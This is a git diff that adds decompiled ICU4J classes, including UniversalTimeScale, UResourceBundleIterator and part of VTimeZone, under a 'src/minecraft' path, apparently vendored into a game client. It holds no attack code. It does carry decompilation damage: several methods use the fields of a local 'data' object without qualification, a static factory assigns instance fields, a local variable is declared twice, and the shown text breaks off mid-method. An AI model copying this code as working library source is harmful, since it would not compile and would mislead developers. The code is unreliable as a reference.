+  public String getKey()
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final int TABLE = 2;
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int INT = 7;
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int ARRAY = 8;
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int INT_VECTOR = 14;
+  
+
+
+
+
+
+
+
+
+
+  protected UResourceBundle handleGet(String aKey, HashMap<String, String> table, UResourceBundle requested)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected UResourceBundle handleGet(int index, HashMap<String, String> table, UResourceBundle requested)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+  protected String[] handleGetStringArray()
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+  protected Enumeration<String> handleGetKeys()
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+  protected Object handleGetObject(String aKey)
+  {
+    return handleGetObjectImpl(aKey, this);
+  }
+  
+
+
+
+
+
+
+
+
+  private Object handleGetObjectImpl(String aKey, UResourceBundle requested)
+  {
+    Object obj = resolveObject(aKey, requested);
+    if (obj == null) {
+      UResourceBundle parentBundle = getParent();
+      if (parentBundle != null) {
+        obj = parentBundle.handleGetObjectImpl(aKey, requested);
+      }
+      if (obj == null) {
+        throw new MissingResourceException("Can't find resource for bundle " + getClass().getName() + ", key " + aKey, getClass().getName(), aKey);
+      }
+    }
+    
+
+    return obj;
+  }
+  
+
+  private Object resolveObject(String aKey, UResourceBundle requested)
+  {
+    if (getType() == 0) {
+      return getString();
+    }
+    UResourceBundle obj = handleGet(aKey, null, requested);
+    if (obj != null) {
+      if (obj.getType() == 0) {
+        return obj.getString();
+      }
+      try {
+        if (obj.getType() == 8) {
+          return obj.handleGetStringArray();
+        }
+      } catch (UResourceTypeMismatchException ex) {
+        return obj;
+      }
+    }
+    return obj;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  protected abstract void setLoadingStatus(int paramInt);
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected boolean isTopLevelResource()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/UResourceBundleIterator.java b/src/minecraft/com/ibm/icu/util/UResourceBundleIterator.java
new file mode 100644
index 0000000..1074480
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/UResourceBundleIterator.java
@@ -0,0 +1,95 @@
+package com.ibm.icu.util;
+
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UResourceBundleIterator
+{
+  private UResourceBundle bundle;
+  private int index = 0;
+  private int size = 0;
+  
+
+
+
+
+
+  public UResourceBundleIterator(UResourceBundle bndl)
+  {
+    bundle = bndl;
+    size = bundle.getSize();
+  }
+  
+
+
+
+
+  public UResourceBundle next()
+    throws NoSuchElementException
+  {
+    if (index < size) {
+      return bundle.get(index++);
+    }
+    throw new NoSuchElementException();
+  }
+  
+
+
+
+
+  public String nextString()
+    throws NoSuchElementException, UResourceTypeMismatchException
+  {
+    if (index < size) {
+      return bundle.getString(index++);
+    }
+    throw new NoSuchElementException();
+  }
+  
+
+
+
+
+  public void reset()
+  {
+    index = 0;
+  }
+  
+
+
+
+
+  public boolean hasNext()
+  {
+    return index < size;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/UResourceTypeMismatchException.java b/src/minecraft/com/ibm/icu/util/UResourceTypeMismatchException.java
new file mode 100644
index 0000000..70011d2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/UResourceTypeMismatchException.java
@@ -0,0 +1,28 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+public class UResourceTypeMismatchException
+  extends RuntimeException
+{
+  static final long serialVersionUID = 1286569061095434541L;
+  
+
+
+
+
+
+
+
+
+  public UResourceTypeMismatchException(String msg)
+  {
+    super(msg);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/UniversalTimeScale.java b/src/minecraft/com/ibm/icu/util/UniversalTimeScale.java
new file mode 100644
index 0000000..06b9786
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/UniversalTimeScale.java
@@ -0,0 +1,653 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.math.BigDecimal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UniversalTimeScale
+{
+  public static final int JAVA_TIME = 0;
+  public static final int UNIX_TIME = 1;
+  public static final int ICU4C_TIME = 2;
+  public static final int WINDOWS_FILE_TIME = 3;
+  public static final int DOTNET_DATE_TIME = 4;
+  public static final int MAC_OLD_TIME = 5;
+  public static final int MAC_TIME = 6;
+  public static final int EXCEL_TIME = 7;
+  public static final int DB2_TIME = 8;
+  public static final int UNIX_MICROSECONDS_TIME = 9;
+  public static final int MAX_SCALE = 10;
+  public static final int UNITS_VALUE = 0;
+  public static final int EPOCH_OFFSET_VALUE = 1;
+  public static final int FROM_MIN_VALUE = 2;
+  public static final int FROM_MAX_VALUE = 3;
+  public static final int TO_MIN_VALUE = 4;
+  public static final int TO_MAX_VALUE = 5;
+  public static final int EPOCH_OFFSET_PLUS_1_VALUE = 6;
+  /**
+   * @deprecated
+   */
+  public static final int EPOCH_OFFSET_MINUS_1_VALUE = 7;
+  /**
+   * @deprecated
+   */
+  public static final int UNITS_ROUND_VALUE = 8;
+  /**
+   * @deprecated
+   */
+  public static final int MIN_ROUND_VALUE = 9;
+  /**
+   * @deprecated
+   */
+  public static final int MAX_ROUND_VALUE = 10;
+  /**
+   * @deprecated
+   */
+  public static final int MAX_SCALE_VALUE = 11;
+  private static final long ticks = 1L;
+  private static final long microseconds = 10L;
+  private static final long milliseconds = 10000L;
+  private static final long seconds = 10000000L;
+  private static final long minutes = 600000000L;
+  private static final long hours = 36000000000L;
+  private static final long days = 864000000000L;
+  private UniversalTimeScale() {}
+  
+  private static final class TimeScaleData
+  {
+    long units;
+    long epochOffset;
+    long fromMin;
+    long fromMax;
+    long toMin;
+    long toMax;
+    long epochOffsetP1;
+    long epochOffsetM1;
+    long unitsRound;
+    long minRound;
+    long maxRound;
+    
+    TimeScaleData(long theUnits, long theEpochOffset, long theToMin, long theToMax, long theFromMin, long theFromMax)
+    {
+      units = theUnits;
+      unitsRound = (theUnits / 2L);
+      
+      minRound = (Long.MIN_VALUE + unitsRound);
+      maxRound = (Long.MAX_VALUE - unitsRound);
+      
+      epochOffset = (theEpochOffset / theUnits);
+      
+      if (theUnits == 1L) {
+        epochOffsetP1 = (this.epochOffsetM1 = epochOffset);
+      } else {
+        epochOffsetP1 = (epochOffset + 1L);
+        epochOffsetM1 = (epochOffset - 1L);
+      }
+      
+      toMin = theToMin;
+      toMax = theToMax;
+      
+      fromMin = theFromMin;
+      fromMax = theFromMax;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final TimeScaleData[] timeScaleTable = { new TimeScaleData(10000L, 621355968000000000L, -9223372036854774999L, 9223372036854774999L, -984472800485477L, 860201606885477L), new TimeScaleData(10000000L, 621355968000000000L, Long.MIN_VALUE, Long.MAX_VALUE, -984472800485L, 860201606885L), new TimeScaleData(10000L, 621355968000000000L, -9223372036854774999L, 9223372036854774999L, -984472800485477L, 860201606885477L), new TimeScaleData(1L, 504911232000000000L, -8718460804854775808L, Long.MAX_VALUE, Long.MIN_VALUE, 8718460804854775807L), new TimeScaleData(1L, 0L, Long.MIN_VALUE, Long.MAX_VALUE, Long.MIN_VALUE, Long.MAX_VALUE), new TimeScaleData(10000000L, 600527520000000000L, Long.MIN_VALUE, Long.MAX_VALUE, -982389955685L, 862284451685L), new TimeScaleData(10000000L, 631139040000000000L, Long.MIN_VALUE, Long.MAX_VALUE, -985451107685L, 859223299685L), new TimeScaleData(864000000000L, 599265216000000000L, Long.MIN_VALUE, Long.MAX_VALUE, -11368793L, 9981605L), new TimeScaleData(864000000000L, 599265216000000000L, Long.MIN_VALUE, Long.MAX_VALUE, -11368793L, 9981605L), new TimeScaleData(10L, 621355968000000000L, -9223372036854775804L, 9223372036854775804L, -984472800485477580L, 860201606885477580L) };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long from(long otherTime, int timeScale)
+  {
+    TimeScaleData data = fromRangeCheck(otherTime, timeScale);
+    
+    return (otherTime + epochOffset) * units;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BigDecimal bigDecimalFrom(double otherTime, int timeScale)
+  {
+    TimeScaleData data = getTimeScaleData(timeScale);
+    BigDecimal other = new BigDecimal(String.valueOf(otherTime));
+    BigDecimal units = new BigDecimal(units);
+    BigDecimal epochOffset = new BigDecimal(epochOffset);
+    
+    return other.add(epochOffset).multiply(units);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BigDecimal bigDecimalFrom(long otherTime, int timeScale)
+  {
+    TimeScaleData data = getTimeScaleData(timeScale);
+    BigDecimal other = new BigDecimal(otherTime);
+    BigDecimal units = new BigDecimal(units);
+    BigDecimal epochOffset = new BigDecimal(epochOffset);
+    
+    return other.add(epochOffset).multiply(units);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BigDecimal bigDecimalFrom(BigDecimal otherTime, int timeScale)
+  {
+    TimeScaleData data = getTimeScaleData(timeScale);
+    
+    BigDecimal units = new BigDecimal(units);
+    BigDecimal epochOffset = new BigDecimal(epochOffset);
+    
+    return otherTime.add(epochOffset).multiply(units);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long toLong(long universalTime, int timeScale)
+  {
+    TimeScaleData data = toRangeCheck(universalTime, timeScale);
+    
+    if (universalTime < 0L) {
+      if (universalTime < minRound) {
+        return (universalTime + unitsRound) / units - epochOffsetP1;
+      }
+      
+      return (universalTime - unitsRound) / units - epochOffset;
+    }
+    
+    if (universalTime > maxRound) {
+      return (universalTime - unitsRound) / units - epochOffsetM1;
+    }
+    
+    return (universalTime + unitsRound) / units - epochOffset;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static BigDecimal toBigDecimal(long universalTime, int timeScale)
+  {
+    TimeScaleData data = getTimeScaleData(timeScale);
+    BigDecimal universal = new BigDecimal(universalTime);
+    BigDecimal units = new BigDecimal(units);
+    BigDecimal epochOffset = new BigDecimal(epochOffset);
+    
+    return universal.divide(units, 4).subtract(epochOffset);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static BigDecimal toBigDecimal(BigDecimal universalTime, int timeScale)
+  {
+    TimeScaleData data = getTimeScaleData(timeScale);
+    BigDecimal units = new BigDecimal(units);
+    BigDecimal epochOffset = new BigDecimal(epochOffset);
+    
+    return universalTime.divide(units, 4).subtract(epochOffset);
+  }
+  
+
+
+
+
+
+
+
+  private static TimeScaleData getTimeScaleData(int scale)
+  {
+    if ((scale < 0) || (scale >= 10)) {
+      throw new IllegalArgumentException("scale out of range: " + scale);
+    }
+    
+    return timeScaleTable[scale];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static long getTimeScaleValue(int scale, int value)
+  {
+    TimeScaleData data = getTimeScaleData(scale);
+    
+    switch (value)
+    {
+    case 0: 
+      return units;
+    
+    case 1: 
+      return epochOffset;
+    
+    case 2: 
+      return fromMin;
+    
+    case 3: 
+      return fromMax;
+    
+    case 4: 
+      return toMin;
+    
+    case 5: 
+      return toMax;
+    
+    case 6: 
+      return epochOffsetP1;
+    
+    case 7: 
+      return epochOffsetM1;
+    
+    case 8: 
+      return unitsRound;
+    
+    case 9: 
+      return minRound;
+    
+    case 10: 
+      return maxRound;
+    }
+    
+    throw new IllegalArgumentException("value out of range: " + value);
+  }
+  
+
+  private static TimeScaleData toRangeCheck(long universalTime, int scale)
+  {
+    TimeScaleData data = getTimeScaleData(scale);
+    
+    if ((universalTime >= toMin) && (universalTime <= toMax)) {
+      return data;
+    }
+    
+    throw new IllegalArgumentException("universalTime out of range:" + universalTime);
+  }
+  
+  private static TimeScaleData fromRangeCheck(long otherTime, int scale)
+  {
+    TimeScaleData data = getTimeScaleData(scale);
+    
+    if ((otherTime >= fromMin) && (otherTime <= fromMax)) {
+      return data;
+    }
+    
+    throw new IllegalArgumentException("otherTime out of range:" + otherTime);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static BigDecimal toBigDecimalTrunc(BigDecimal universalTime, int timeScale)
+  {
+    TimeScaleData data = getTimeScaleData(timeScale);
+    BigDecimal units = new BigDecimal(units);
+    BigDecimal epochOffset = new BigDecimal(epochOffset);
+    
+    return universalTime.divide(units, 1).subtract(epochOffset);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/VTimeZone.java b/src/minecraft/com/ibm/icu/util/VTimeZone.java
new file mode 100644
index 0000000..f1858cb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/VTimeZone.java
@@ -0,0 +1,2113 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Grego;
+import java.io.BufferedWriter;
+import java.io.IOException;
+import java.io.Reader;
+import java.io.Writer;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.MissingResourceException;
+import java.util.StringTokenizer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class VTimeZone
+  extends BasicTimeZone
+{
+  private static final long serialVersionUID = -6851467294127795902L;
+  private BasicTimeZone tz;
+  private List<String> vtzlines;
+  
+  public static VTimeZone create(String tzid)
+  {
+    VTimeZone vtz = new VTimeZone(tzid);
+    tz = ((BasicTimeZone)TimeZone.getTimeZone(tzid, 0));
+    olsonzid = tz.getID();
+    
+    return vtz;
+  }
+  
+
+
+
+
+
+
+
+
+  public static VTimeZone create(Reader reader)
+  {
+    VTimeZone vtz = new VTimeZone();
+    if (vtz.load(reader)) {
+      return vtz;
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  public int getOffset(int era, int year, int month, int day, int dayOfWeek, int milliseconds)
+  {
+    return tz.getOffset(era, year, month, day, dayOfWeek, milliseconds);
+  }
+  
+
+
+
+
+  public void getOffset(long date, boolean local, int[] offsets)
+  {
+    tz.getOffset(date, local, offsets);
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public void getOffsetFromLocal(long date, int nonExistingTimeOpt, int duplicatedTimeOpt, int[] offsets)
+  {
+    tz.getOffsetFromLocal(date, nonExistingTimeOpt, duplicatedTimeOpt, offsets);
+  }
+  
+
+
+
+
+  public int getRawOffset()
+  {
+    return tz.getRawOffset();
+  }
+  
+
+
+
+
+  public boolean inDaylightTime(Date date)
+  {
+    return tz.inDaylightTime(date);
+  }
+  
+
+
+
+
+  public void setRawOffset(int offsetMillis)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen VTimeZone instance.");
+    }
+    tz.setRawOffset(offsetMillis);
+  }
+  
+
+
+
+
+  public boolean useDaylightTime()
+  {
+    return tz.useDaylightTime();
+  }
+  
+
+
+
+
+  public boolean observesDaylightTime()
+  {
+    return tz.observesDaylightTime();
+  }
+  
+
+
+
+
+  public boolean hasSameRules(TimeZone other)
+  {
+    if (this == other) {
+      return true;
+    }
+    if ((other instanceof VTimeZone)) {
+      return tz.hasSameRules(tz);
+    }
+    return tz.hasSameRules(other);
+  }
+  
+
+
+
+
+
+
+
+
+  public String getTZURL()
+  {
+    return tzurl;
+  }
+  
+
+
+
+
+
+
+  public void setTZURL(String url)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen VTimeZone instance.");
+    }
+    tzurl = url;
+  }
+  
+
+
+
+
+
+
+
+
+  public Date getLastModified()
+  {
+    return lastmod;
+  }
+  
+
+
+
+
+
+
+  public void setLastModified(Date date)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen VTimeZone instance.");
+    }
+    lastmod = date;
+  }
+  
+
+
+
+
+
+
+  public void write(Writer writer)
+    throws IOException
+  {
+    BufferedWriter bw = new BufferedWriter(writer);
+    if (vtzlines != null) {
+      for (String line : vtzlines) {
+        if (line.startsWith("TZURL:")) {
+          if (tzurl != null) {
+            bw.write("TZURL");
+            bw.write(":");
+            bw.write(tzurl);
+            bw.write("\r\n");
+          }
+        } else if (line.startsWith("LAST-MODIFIED:")) {
+          if (lastmod != null) {
+            bw.write("LAST-MODIFIED");
+            bw.write(":");
+            bw.write(getUTCDateTimeString(lastmod.getTime()));
+            bw.write("\r\n");
+          }
+        } else {
+          bw.write(line);
+          bw.write("\r\n");
+        }
+      }
+      bw.flush();
+    } else {
+      String[] customProperties = null;
+      if ((olsonzid != null) && (ICU_TZVERSION != null)) {
+        customProperties = new String[1];
+        customProperties[0] = ("X-TZINFO:" + olsonzid + "[" + ICU_TZVERSION + "]");
+      }
+      writeZone(writer, tz, customProperties);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void write(Writer writer, long start)
+    throws IOException
+  {
+    TimeZoneRule[] rules = tz.getTimeZoneRules(start);
+    
+
+    RuleBasedTimeZone rbtz = new RuleBasedTimeZone(tz.getID(), (InitialTimeZoneRule)rules[0]);
+    for (int i = 1; i < rules.length; i++) {
+      rbtz.addTransitionRule(rules[i]);
+    }
+    String[] customProperties = null;
+    if ((olsonzid != null) && (ICU_TZVERSION != null)) {
+      customProperties = new String[1];
+      customProperties[0] = ("X-TZINFO:" + olsonzid + "[" + ICU_TZVERSION + "/Partial@" + start + "]");
+    }
+    
+    writeZone(writer, rbtz, customProperties);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void writeSimple(Writer writer, long time)
+    throws IOException
+  {
+    TimeZoneRule[] rules = tz.getSimpleTimeZoneRulesNear(time);
+    
+
+    RuleBasedTimeZone rbtz = new RuleBasedTimeZone(tz.getID(), (InitialTimeZoneRule)rules[0]);
+    for (int i = 1; i < rules.length; i++) {
+      rbtz.addTransitionRule(rules[i]);
+    }
+    String[] customProperties = null;
+    if ((olsonzid != null) && (ICU_TZVERSION != null)) {
+      customProperties = new String[1];
+      customProperties[0] = ("X-TZINFO:" + olsonzid + "[" + ICU_TZVERSION + "/Simple@" + time + "]");
+    }
+    
+    writeZone(writer, rbtz, customProperties);
+  }
+  
+
+
+
+
+
+
+  public TimeZoneTransition getNextTransition(long base, boolean inclusive)
+  {
+    return tz.getNextTransition(base, inclusive);
+  }
+  
+
+
+
+
+  public TimeZoneTransition getPreviousTransition(long base, boolean inclusive)
+  {
+    return tz.getPreviousTransition(base, inclusive);
+  }
+  
+
+
+
+
+  public boolean hasEquivalentTransitions(TimeZone other, long start, long end)
+  {
+    if (this == other) {
+      return true;
+    }
+    return tz.hasEquivalentTransitions(other, start, end);
+  }
+  
+
+
+
+
+  public TimeZoneRule[] getTimeZoneRules()
+  {
+    return tz.getTimeZoneRules();
+  }
+  
+
+
+
+
+  public TimeZoneRule[] getTimeZoneRules(long start)
+  {
+    return tz.getTimeZoneRules(start);
+  }
+  
+
+
+
+
+  public Object clone()
+  {
+    if (isFrozen()) {
+      return this;
+    }
+    return cloneAsThawed();
+  }
+  
+
+
+
+
+  private String olsonzid = null;
+  private String tzurl = null;
+  private Date lastmod = null;
+  
+  private static String ICU_TZVERSION;
+  
+  private static final String ICU_TZINFO_PROP = "X-TZINFO";
+  
+  private static final int DEF_DSTSAVINGS = 3600000;
+  
+  private static final long DEF_TZSTARTTIME = 0L;
+  
+  private static final long MIN_TIME = Long.MIN_VALUE;
+  
+  private static final long MAX_TIME = Long.MAX_VALUE;
+  
+  private static final String COLON = ":";
+  
+  private static final String SEMICOLON = ";";
+  
+  private static final String EQUALS_SIGN = "=";
+  
+  private static final String COMMA = ",";
+  
+  private static final String NEWLINE = "\r\n";
+  
+  private static final String ICAL_BEGIN_VTIMEZONE = "BEGIN:VTIMEZONE";
+  
+  private static final String ICAL_END_VTIMEZONE = "END:VTIMEZONE";
+  private static final String ICAL_BEGIN = "BEGIN";
+  private static final String ICAL_END = "END";
+  private static final String ICAL_VTIMEZONE = "VTIMEZONE";
+  private static final String ICAL_TZID = "TZID";
+  private static final String ICAL_STANDARD = "STANDARD";
+  private static final String ICAL_DAYLIGHT = "DAYLIGHT";
+  private static final String ICAL_DTSTART = "DTSTART";
+  private static final String ICAL_TZOFFSETFROM = "TZOFFSETFROM";
+  private static final String ICAL_TZOFFSETTO = "TZOFFSETTO";
+  private static final String ICAL_RDATE = "RDATE";
+  private static final String ICAL_RRULE = "RRULE";
+  private static final String ICAL_TZNAME = "TZNAME";
+  private static final String ICAL_TZURL = "TZURL";
+  private static final String ICAL_LASTMOD = "LAST-MODIFIED";
+  private static final String ICAL_FREQ = "FREQ";
+  private static final String ICAL_UNTIL = "UNTIL";
+  private static final String ICAL_YEARLY = "YEARLY";
+  private static final String ICAL_BYMONTH = "BYMONTH";
+  private static final String ICAL_BYDAY = "BYDAY";
+  private static final String ICAL_BYMONTHDAY = "BYMONTHDAY";
+  private static final String[] ICAL_DOW_NAMES = { "SU", "MO", "TU", "WE", "TH", "FR", "SA" };
+  
+
+
+  private static final int[] MONTHLENGTH = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
+  private static final int INI = 0;
+  private static final int VTZ = 1;
+  
+  static {
+    try { ICU_TZVERSION = TimeZone.getTZDataVersion();
+    }
+    catch (MissingResourceException e) {
+      ICU_TZVERSION = null;
+    }
+  }
+  
+
+
+
+
+  private VTimeZone(String tzid)
+  {
+    super(tzid);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private boolean load(Reader reader)
+  {
+    try
+    {
+      vtzlines = new LinkedList();
+      boolean eol = false;
+      boolean start = false;
+      boolean success = false;
+      StringBuilder line = new StringBuilder();
+      for (;;) {
+        int ch = reader.read();
+        if (ch == -1)
+        {
+          if ((!start) || (!line.toString().startsWith("END:VTIMEZONE"))) break;
+          vtzlines.add(line.toString());
+          success = true; break;
+        }
+        
+
+        if (ch != 13)
+        {
+
+
+
+          if (eol) {
+            if ((ch != 9) && (ch != 32))
+            {
+              if ((start) && 
+                (line.length() > 0)) {
+                vtzlines.add(line.toString());
+              }
+              
+              line.setLength(0);
+              if (ch != 10) {
+                line.append((char)ch);
+              }
+            }
+            eol = false;
+          }
+          else if (ch == 10)
+          {
+            eol = true;
+            if (start) {
+              if (line.toString().startsWith("END:VTIMEZONE")) {
+                vtzlines.add(line.toString());
+                success = true;
+                break;
+              }
+            }
+            else if (line.toString().startsWith("BEGIN:VTIMEZONE")) {
+              vtzlines.add(line.toString());
+              line.setLength(0);
+              start = true;
+              eol = false;
+            }
+          }
+          else {
+            line.append((char)ch);
+          }
+        }
+      }
+      if (!success) {
+        return false;
+      }
+    }
+    catch (IOException ioe) {
+      return false;
+    }
+    
+    return parse();
+  }
+  
+
+
+
+
+
+
+
+
+
+  private boolean parse()
+  {
+    if ((vtzlines == null) || (vtzlines.size() == 0)) {
+      return false;
+    }
+    
+
+
+    String tzid = null;
+    
+    int state = 0;
+    boolean dst = false;
+    String from = null;
+    String to = null;
+    String tzname = null;
+    String dtstart = null;
+    boolean isRRULE = false;
+    List<String> dates = null;
+    List<TimeZoneRule> rules = new ArrayList();
+    int initialRawOffset = 0;
+    int initialDSTSavings = 0;
+    long firstStart = Long.MAX_VALUE;
+    
+    for (String line : vtzlines) {
+      int valueSep = line.indexOf(":");
+      if (valueSep >= 0)
+      {
+
+        String name = line.substring(0, valueSep);
+        String value = line.substring(valueSep + 1);
+        
+        switch (state) {
+        case 0: 
+          if ((name.equals("BEGIN")) && (value.equals("VTIMEZONE"))) {
+            state = 1;
+          }
+          break;
+        case 1: 
+          if (name.equals("TZID")) {
+            tzid = value;
+          } else if (name.equals("TZURL")) {
+            tzurl = value;
+          } else if (name.equals("LAST-MODIFIED"))
+          {
+
+            lastmod = new Date(parseDateTimeString(value, 0));
+          } else if (name.equals("BEGIN")) {
+            boolean isDST = value.equals("DAYLIGHT");
+            if ((value.equals("STANDARD")) || (isDST))
+            {
+              if (tzid == null) {
+                state = 3;
+              }
+              else
+              {
+                dates = null;
+                isRRULE = false;
+                from = null;
+                to = null;
+                tzname = null;
+                dst = isDST;
+                state = 2;
+              }
+            }
+            else {
+              state = 3;
+              break;
+            }
+          } else { if (!name.equals("END")) break; }
+          break;
+        
+
+
+        case 2: 
+          if (name.equals("DTSTART")) {
+            dtstart = value;
+          } else if (name.equals("TZNAME")) {
+            tzname = value;
+          } else if (name.equals("TZOFFSETFROM")) {
+            from = value;
+          } else if (name.equals("TZOFFSETTO")) {
+            to = value;
+          } else if (name.equals("RDATE"))
+          {
+            if (isRRULE) {
+              state = 3;
+            }
+            else {
+              if (dates == null) {
+                dates = new LinkedList();
+              }
+              
+
+              StringTokenizer st = new StringTokenizer(value, ",");
+              while (st.hasMoreTokens()) {
+                String date = st.nextToken();
+                dates.add(date);
+              }
+            } } else if (name.equals("RRULE"))
+          {
+            if ((!isRRULE) && (dates != null)) {
+              state = 3;
+            } else {
+              if (dates == null) {
+                dates = new LinkedList();
+              }
+              isRRULE = true;
+              dates.add(value);
+            } } else if (name.equals("END"))
+          {
+            if ((dtstart == null) || (from == null) || (to == null)) {
+              state = 3;
+            }
+            else
+            {
+              if (tzname == null) {
+                tzname = getDefaultTZName(tzid, dst);
+              }
+              
+
+              TimeZoneRule rule = null;
+              int fromOffset = 0;
+              int toOffset = 0;
+              int rawOffset = 0;
+              int dstSavings = 0;
+              long start = 0L;
+              try
+              {
+                fromOffset = offsetStrToMillis(from);
+                toOffset = offsetStrToMillis(to);
+                
+                if (dst)
+                {
+                  if (toOffset - fromOffset > 0) {
+                    rawOffset = fromOffset;
+                    dstSavings = toOffset - fromOffset;
+                  }
+                  else {
+                    rawOffset = toOffset - 3600000;
+                    dstSavings = 3600000;
+                  }
+                } else {
+                  rawOffset = toOffset;
+                  dstSavings = 0;
+                }
+                
+
+                start = parseDateTimeString(dtstart, fromOffset);
+                
+
+                Date actualStart = null;
+                if (isRRULE) {
+                  rule = createRuleByRRULE(tzname, rawOffset, dstSavings, start, dates, fromOffset);
+                } else {
+                  rule = createRuleByRDATE(tzname, rawOffset, dstSavings, start, dates, fromOffset);
+                }
+                if (rule != null) {
+                  actualStart = rule.getFirstStart(fromOffset, 0);
+                  if (actualStart.getTime() < firstStart)
+                  {
+                    firstStart = actualStart.getTime();
+                    
+
+
+                    if (dstSavings > 0) {
+                      initialRawOffset = fromOffset;
+                      initialDSTSavings = 0;
+                    }
+                    else if (fromOffset - toOffset == 3600000) {
+                      initialRawOffset = fromOffset - 3600000;
+                      initialDSTSavings = 3600000;
+                    } else {
+                      initialRawOffset = fromOffset;
+                      initialDSTSavings = 0;
+                    }
+                  }
+                }
+              }
+              catch (IllegalArgumentException iae) {}
+              
+
+
+              if (rule == null) {
+                state = 3;
+              }
+              else {
+                rules.add(rule);
+                state = 1;
+              }
+            } }
+          break;
+        }
+        if (state == 3) {
+          vtzlines = null;
+          return false;
+        }
+      }
+    }
+    
+    if (rules.size() == 0) {
+      return false;
+    }
+    
+
+    InitialTimeZoneRule initialRule = new InitialTimeZoneRule(getDefaultTZName(tzid, false), initialRawOffset, initialDSTSavings);
+    
+
+
+    RuleBasedTimeZone rbtz = new RuleBasedTimeZone(tzid, initialRule);
+    
+    int finalRuleIdx = -1;
+    int finalRuleCount = 0;
+    for (int i = 0; i < rules.size(); i++) {
+      TimeZoneRule r = (TimeZoneRule)rules.get(i);
+      if (((r instanceof AnnualTimeZoneRule)) && 
+        (((AnnualTimeZoneRule)r).getEndYear() == Integer.MAX_VALUE)) {
+        finalRuleCount++;
+        finalRuleIdx = i;
+      }
+    }
+    
+    if (finalRuleCount > 2)
+    {
+      return false;
+    }
+    
+    if (finalRuleCount == 1) {
+      if (rules.size() == 1)
+      {
+
+
+        rules.clear();
+      }
+      else {
+        AnnualTimeZoneRule finalRule = (AnnualTimeZoneRule)rules.get(finalRuleIdx);
+        int tmpRaw = finalRule.getRawOffset();
+        int tmpDST = finalRule.getDSTSavings();
+        
+
+        Date finalStart = finalRule.getFirstStart(initialRawOffset, initialDSTSavings);
+        Date start = finalStart;
+        for (int i = 0; i < rules.size(); i++) {
+          if (finalRuleIdx != i)
+          {
+
+            TimeZoneRule r = (TimeZoneRule)rules.get(i);
+            Date lastStart = r.getFinalStart(tmpRaw, tmpDST);
+            if (lastStart.after(start)) {
+              start = finalRule.getNextStart(lastStart.getTime(), r.getRawOffset(), r.getDSTSavings(), false);
+            }
+          }
+        }
+        
+        TimeZoneRule newRule;
+        TimeZoneRule newRule;
+        if (start == finalStart)
+        {
